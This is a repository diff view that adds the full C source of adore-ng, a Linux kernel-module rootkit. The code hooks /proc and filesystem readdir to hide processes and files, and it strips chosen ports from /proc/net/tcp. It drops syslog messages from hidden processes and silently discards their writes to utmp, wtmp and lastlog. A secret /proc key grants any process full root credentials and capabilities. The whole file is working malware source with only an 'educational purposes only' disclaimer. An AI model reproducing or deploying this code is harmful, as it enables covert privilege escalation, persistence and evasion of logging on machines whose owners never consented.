summaryrefslogtreecommitdiff
path: root/other/adore-ng/adore-ng.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/adore-ng.c')
-rw-r--r--other/adore-ng/adore-ng.c665
1 files changed, 665 insertions, 0 deletions
diff --git a/other/adore-ng/adore-ng.c b/other/adore-ng/adore-ng.c
new file mode 100644
index 0000000..3194299
--- /dev/null
+++ b/other/adore-ng/adore-ng.c
@@ -0,0 +1,665 @@
1/*** (C) 2004 by Stealth
2 ***
3 *** http://spider.scorpions.net/~stealth
4 *** http://stealth.7350.org/rootkits
5 ***
6 ***
7 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
8 *** SO YOU USE THIS AT YOUR OWN RISK!
9 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS.
10 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
11 ***
12 *** -> Use ava to get all the things workin'.
13 ***
14 ***/
15#define __KERNEL__
16#define MODULE
17
18
19#ifdef MODVERSIONS
20#include <linux/modversions.h>
21#endif
22
23#include <linux/sched.h>
24#include <linux/kernel.h>
25#include <linux/module.h>
26#include <linux/string.h>
27#include <linux/fs.h>
28#include <linux/file.h>
29#include <linux/mount.h>
30#include <linux/proc_fs.h>
31#include <linux/capability.h>
32#include <linux/net.h>
33#include <linux/skbuff.h>
34#include <linux/spinlock.h>
35#include <net/sock.h>
36#include <linux/un.h>
37#include <net/af_unix.h>
38
39#include "adore-ng.h"
40
41
42char *proc_fs = "/proc"; /* default proc FS to hide processes */
43MODULE_PARM(proc_fs, "s");
44char *root_fs = "/"; /* default FS to hide files */
45
46MODULE_PARM(root_fs, "s");
47char *opt_fs = NULL;
48MODULE_PARM(opt_fs, "s");
49
50
51typedef int (*readdir_t)(struct file *, void *, filldir_t);
52readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL,
53 orig_proc_readdir = NULL;
54
55struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *) = NULL;
56
57
58int cleanup_module();
59
60static int tcp_new_size();
61static int (*o_get_info_tcp)(char *, char **, off_t, int);
62
63extern struct socket *sockfd_lookup(int fd, int *err);
64extern __inline__ void sockfd_put(struct socket *sock)
65{
66 fput(sock->file);
67}
68
69#ifndef PID_MAX
70#define PID_MAX 0x8000
71#endif
72
73static char hidden_procs[PID_MAX/8+1];
74
75inline void hide_proc(pid_t x)
76{
77 if (x >= PID_MAX || x == 1)
78 return;
79 hidden_procs[x/8] |= 1<<(x%8);
80}
81
82inline void unhide_proc(pid_t x)
83{
84 if (x >= PID_MAX)
85 return;
86 hidden_procs[x/8] &= ~(1<<(x%8));
87}
88
89inline char is_invisible(pid_t x)
90{
91 if (x >= PID_MAX)
92 return 0;
93 return hidden_procs[x/8]&(1<<(x%8));
94}
95
96/* Theres some crap after the PID-filename on proc
97 * getdents() so the semantics of this function changed:
98 * Make "672" -> 672 and
99 * "672|@\" -> 672 too
100 */
101int adore_atoi(const char *str)
102{
103 int ret = 0, mul = 1;
104 const char *ptr;
105
106 for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
107 ;
108 ptr--;
109 while (ptr >= str) {
110 if (*ptr < '0' || *ptr > '9')
111 break;
112 ret += (*ptr - '0') * mul;
113 mul *= 10;
114 ptr--;
115 }
116 return ret;
117}
118
119/* Own implementation of find_task_by_pid() */
120struct task_struct *adore_find_task(pid_t pid)
121{
122 struct task_struct *p;
123
124 read_lock(&tasklist_lock); // XXX: locking necessary?
125 for_each_task(p) {
126 if (p->pid == pid) {
127 read_unlock(&tasklist_lock);
128 return p;
129 }
130 }
131 read_unlock(&tasklist_lock);
132 return NULL;
133}
134
135int should_be_hidden(pid_t pid)
136{
137 struct task_struct *p = NULL;
138
139 if (is_invisible(pid)) {
140 return 1;
141 }
142
143 p = adore_find_task(pid);
144 if (!p)
145 return 0;
146
147 /* If the parent is hidden, we are hidden too XXX */
148 task_lock(p);
149
150 if (is_invisible(p->p_pptr->pid)) {
151 task_unlock(p);
152 hide_proc(pid);
153 return 1;
154 }
155
156 task_unlock(p);
157 return 0;
158}
159
160/* You can control adore-ng without ava too:
161 *
162 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
163 * cat /proc/hide-<PID> from such a shell will hide PID,
164 * cat /proc/unhide-<PID> will unhide the process
165 * cat /proc/uninstall will uninstall adore
166 */
167struct dentry *adore_lookup(struct inode *i, struct dentry *d)
168{
169
170 task_lock(current);
171
172 if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
173 current->flags |= PF_AUTH;
174 current->suid = ADORE_VERSION;
175 } else if ((current->flags & PF_AUTH) &&
176 strncmp(d->d_iname, "fullprivs", 9) == 0) {
177 current->uid = 0;
178 current->suid = 0;
179 current->euid = 0;
180 current->gid = 0;
181 current->egid = 0;
182 current->fsuid = 0;
183 current->fsgid = 0;
184
185 cap_set_full(current->cap_effective);
186 cap_set_full(current->cap_inheritable);
187 cap_set_full(current->cap_permitted);
188 } else if ((current->flags & PF_AUTH) &&
189 strncmp(d->d_iname, "hide-", 5) == 0) {
190 hide_proc(adore_atoi(d->d_iname+5));
191 } else if ((current->flags & PF_AUTH) &&
192 strncmp(d->d_iname, "unhide-", 7) == 0) {
193 unhide_proc(adore_atoi(d->d_iname+7));
194 } else if ((current->flags & PF_AUTH) &&
195 strncmp(d->d_iname, "uninstall", 9) == 0) {
196 cleanup_module();
197 }
198
199 task_unlock(current);
200
201 if (should_be_hidden(adore_atoi(d->d_iname)) &&
202 /* A hidden ps must be able to see itself! */
203 !should_be_hidden(current->pid))
204 return NULL;
205
206 return orig_proc_lookup(i, d);
207}
208
209
210filldir_t proc_filldir = NULL;
211spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED;
212
213int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
214{
215 if (should_be_hidden(adore_atoi(name)))
216 return 0;
217 return proc_filldir(buf, name, nlen, off, ino, x);
218}
219
220
221
222int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
223{
224 int r = 0;
225
226 spin_lock(&proc_filldir_lock);
227 proc_filldir = filldir;
228 r = orig_proc_readdir(fp, buf, adore_proc_filldir);
229 spin_unlock(&proc_filldir_lock);
230 return r;
231}
232
233
234filldir_t opt_filldir = NULL;
235struct super_block *opt_sb[1024];
236
237int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
238{
239 struct inode *inode = NULL;
240 int r = 0;
241 uid_t uid;
242 gid_t gid;
243
244 if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL)
245 return 0;
246 uid = inode->i_uid;
247 gid = inode->i_gid;
248 iput(inode);
249
250 /* Is it hidden ? */
251 if (uid == ELITE_UID && gid == ELITE_GID) {
252 r = 0;
253 } else
254 r = opt_filldir(buf, name, nlen, off, ino, x);
255
256 return r;
257}
258
259
260int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir)
261{
262 int r = 0;
263
264 if (!fp || !fp->f_vfsmnt)
265 return 0;
266
267 opt_filldir = filldir;
268 opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
269 r = orig_opt_readdir(fp, buf, adore_opt_filldir);
270
271 return r;
272}
273
274
275/* About the locking of these global vars:
276 * I used to lock these via rwlocks but on SMP systems this can cause
277 * a deadlock because the iget() locks an inode itself and I guess this
278 * could cause a locking situation of AB BA. So, I do not lock root_sb and
279 * root_filldir (same with opt_) anymore. root_filldir should anyway always
280 * be the same (filldir64 or filldir, depending on the libc). The worst thing that
281 * could happen is that 2 processes call filldir where the 2nd is replacing
282 * root_sb which affects the 1st process which AT WORST CASE shows the hidden files.
283 * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents()
284 * on 2 different partitions with the same FS.
285 * Now, since I made an array of super_blocks it must also be that the PIDs of
286 * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must
287 * be met) should be very very rare.
288 */
289filldir_t root_filldir = NULL;
290struct super_block *root_sb[1024];
291
292
293int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
294{
295 struct inode *inode = NULL;
296 int r = 0;
297 uid_t uid;
298 gid_t gid;
299
300 if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
301 return 0;
302 uid = inode->i_uid;
303 gid = inode->i_gid;
304 iput(inode);
305
306 /* Is it hidden ? */
307 if (uid == ELITE_UID && gid == ELITE_GID) {
308 r = 0;
309 } else
310 r = root_filldir(buf, name, nlen, off, ino, x);
311
312 return r;
313}
314
315
316int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
317{
318 int r = 0;
319
320 if (!fp || !fp->f_vfsmnt)
321 return 0;
322
323 root_filldir = filldir;
324 root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
325 r = orig_root_readdir(fp, buf, adore_root_filldir);
326 return r;
327}
328
329
330int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
331{
332 struct file *filep;
333
334 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
335 return -1;
336 }
337
338 if (orig_readdir)
339 *orig_readdir = filep->f_op->readdir;
340
341 filep->f_op->readdir = new_readdir;
342 filp_close(filep, 0);
343 return 0;
344}
345
346
347int unpatch_vfs(const char *p, readdir_t orig_readdir)
348{
349 struct file *filep;
350
351 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
352 return -1;
353 }
354
355 filep->f_op->readdir = orig_readdir;
356 filp_close(filep, 0);
357 return 0;
358}
359
360
361char *strnstr(const char *haystack, const char *needle, size_t n)
362{
363 char *s = strstr(haystack, needle);
364 if (s == NULL)
365 return NULL;
366 if (s-haystack+strlen(needle) <= n)
367 return s;
368 else
369 return NULL;
370}
371
372
373struct proc_dir_entry *proc_find_tcp()
374{
375 struct proc_dir_entry *p = proc_net->subdir;
376
377 while (strcmp(p->name, "tcp"))
378 p = p->next;
379 return p;
380}
381
382
383/* Reading from /proc/net/tcp gives back data in chunks
384 * of NET_CHUNK. We try to match these against hidden ports
385 * and remove them respectively
386 */
387#define NET_CHUNK 150
388int n_get_info_tcp(char *page, char **start, off_t pos, int count)
389{
390 int r = 0, i = 0, n = 0, hidden = 0;
391 char port[10], *ptr = NULL, *mem = NULL, *it = NULL;
392
393 /* Admin accessing beyond sizeof patched file? */
394 if (pos >= tcp_new_size())
395 return 0;
396
397 r = o_get_info_tcp(page, start, pos, count);
398
399 if (r <= 0)// NET_CHUNK)
400 return r;
401
402 mem = (char *)kmalloc(r+NET_CHUNK+1, GFP_KERNEL);
403 if (!mem)
404 return r;
405
406 memset(mem, 0, r+NET_CHUNK+1);
407 it = mem;
408
409 /* If pos < NET_CHUNK then theres preamble which we can skip */
410 if (pos >= NET_CHUNK) {
411 ptr = page;
412 n = (pos/NET_CHUNK) - 1;
413 } else {
414 memcpy(it, page, NET_CHUNK);
415 it += NET_CHUNK;
416 ptr = page + NET_CHUNK;
417 n = 0;
418 }
419
420 for (; ptr < page+r; ptr += NET_CHUNK) {
421 hidden = 0;
422 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
423 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
424
425 /* Ignore hidden blocks */
426 if (strnstr(ptr, port, NET_CHUNK))
427 hidden = 1;
428 }
429 if (!hidden) {
430 sprintf(port, "%4d:", n);
431 strncpy(ptr, port, strlen(port));
432 memcpy(it, ptr, NET_CHUNK);
433 it += NET_CHUNK;
434 ++n;
435 }
436 }
437
438 memcpy(page, mem, r);
439 n = strlen(mem);
440 /* If we shrinked buffer, patch length */
441 if (r > n)
442 r = n;//-(*start-page);
443 if (r < 0)
444 r = 0;
445
446// *start = page + (*start-page);
447 *start = page;
448 kfree(mem);
449 return r;
450}
451
452
453/* Calculate size of patched /proc/net/tcp */
454int tcp_new_size()
455{
456 int r, hits = 0, i = 0, l = 10*NET_CHUNK;
457 char *page = NULL, *start, *ptr, port[10];
458
459 for (;;) {
460 page = (char*)kmalloc(l+1, GFP_KERNEL);
461 if (!page)
462 return 0;
463 r = o_get_info_tcp(page, &start, 0, l);
464 if (r < l)
465 break;
466 l <<= 1;
467 kfree(page);
468 }
469
470 for (ptr = start; ptr < start+r; ptr += NET_CHUNK) {
471 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
472 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
473 if (strnstr(ptr, port, NET_CHUNK)) {
474 ++hits;
475 break;
476 }
477 }
478 }
479 kfree(page);
480 return r - hits*NET_CHUNK;
481}
482
483
484static
485int (*orig_unix_dgram_recvmsg)(struct socket *, struct msghdr *, int,
486 int, struct scm_cookie *) = NULL;
487static struct proto_ops *unix_dgram_ops = NULL;
488
489int adore_unix_dgram_recvmsg(struct socket *sock, struct msghdr *msg, int size,
490 int flags, struct scm_cookie *scm)
491{
492 struct sock *sk = NULL;
493 int noblock = flags & MSG_DONTWAIT;
494 struct sk_buff *skb = NULL;
495 int err;
496 struct ucred *creds = NULL;
497 int not_done = 1;
498
499 if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock)
500 goto out;
501
502 sk = sock->sk;
503
504 err = -EOPNOTSUPP;
505 if (flags & MSG_OOB)
506 goto out;
507
508 do {
509 msg->msg_namelen = 0;
510 skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err);
511 if (!skb)
512 goto out;
513 creds = UNIXCREDS(skb);
514 if (!creds)
515 goto out;
516 if ((not_done = should_be_hidden(creds->pid)))
517 skb_dequeue(&sk->receive_queue);
518 } while (not_done);
519
520out:
521 err = orig_unix_dgram_recvmsg(sock, msg, size, flags, scm);
522 return err;
523}
524
525
526static struct file *var_files[] = {
527 NULL,
528 NULL,
529 NULL,
530 NULL
531};
532
533static char *var_filenames[] = {
534 "/var/run/utmp",
535 "/var/log/wtmp",
536 "/var/log/lastlog",
537 NULL
538};
539
540static
541ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL;
542
543static
544ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off)
545{
546 int i = 0;
547
548 /* If its hidden and if it has no special privileges and
549 * if it tries to write to the /var files, fake it
550 */
551 if (should_be_hidden(current->pid) &&
552 !(current->flags & PF_AUTH)) {
553 for (i = 0; var_filenames[i]; ++i) {
554 if (var_files[i] &&
555 var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) {
556 *off += blen;
557 return blen;
558 }
559 }
560 }
561 return orig_var_write(f, buf, blen, off);
562}
563
564
565static int patch_syslog()
566{
567 struct socket *sock = NULL;
568
569 /* PF_UNIX, SOCK_DGRAM */
570 if (sock_create(1, 2, 0, &sock) < 0)
571 return -1;
572
573 if (sock && (unix_dgram_ops = sock->ops)) {
574 orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg;
575 unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg;
576 sock_release(sock);
577 }
578
579 return 0;
580}
581
582
583#ifdef RELINKED
584extern int zero_module();
585extern int zeronup_module();
586#endif
587
588int init_module()
589{
590 struct proc_dir_entry *pde = NULL;
591 int i = 0, j = 0;
592
593 EXPORT_NO_SYMBOLS;
594
595 memset(hidden_procs, 0, sizeof(hidden_procs));
596
597 pde = proc_find_tcp();
598 o_get_info_tcp = pde->get_info;
599 pde->get_info = n_get_info_tcp;
600
601 orig_proc_lookup = proc_root.proc_iops->lookup;
602 proc_root.proc_iops->lookup = adore_lookup;
603
604 patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir);
605 patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
606 if (opt_fs)
607 patch_vfs(opt_fs, &orig_opt_readdir,
608 adore_opt_readdir);
609
610 patch_syslog();
611
612 j = 0;
613 for (i = 0; var_filenames[i]; ++i) {
614 var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0);
615 if (IS_ERR(var_files[i])) {
616 var_files[i] = NULL;
617 continue;
618 }
619 if (!j) { /* just replace one time, its all the same FS */
620 orig_var_write = var_files[i]->f_op->write;
621 var_files[i]->f_op->write = adore_var_write;
622 j = 1;
623 }
624 }
625#ifdef RELINKED
626 MOD_INC_USE_COUNT;
627 zero_module();
628#endif
629 return 0;
630}
631
632
633int cleanup_module()
634{
635 int i = 0, j = 0;
636
637 proc_find_tcp()->get_info = o_get_info_tcp;
638 proc_root.proc_iops->lookup = orig_proc_lookup;
639
640 unpatch_vfs(proc_fs, orig_proc_readdir);
641 unpatch_vfs(root_fs, orig_root_readdir);
642
643 if (orig_opt_readdir)
644 unpatch_vfs(opt_fs, orig_opt_readdir);
645
646 /* In case where syslogd wasnt found in init_module() */
647 if (unix_dgram_ops && orig_unix_dgram_recvmsg)
648 unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg;
649
650 j = 0;
651 for (i = 0; var_filenames[i]; ++i) {
652 if (var_files[i]) {
653 if (!j) {
654 var_files[i]->f_op->write = orig_var_write;
655 j = 1;
656 }
657 filp_close(var_files[i], 0);
658 }
659 }
660
661 return 0;
662}
663
664MODULE_LICENSE("GPL");
665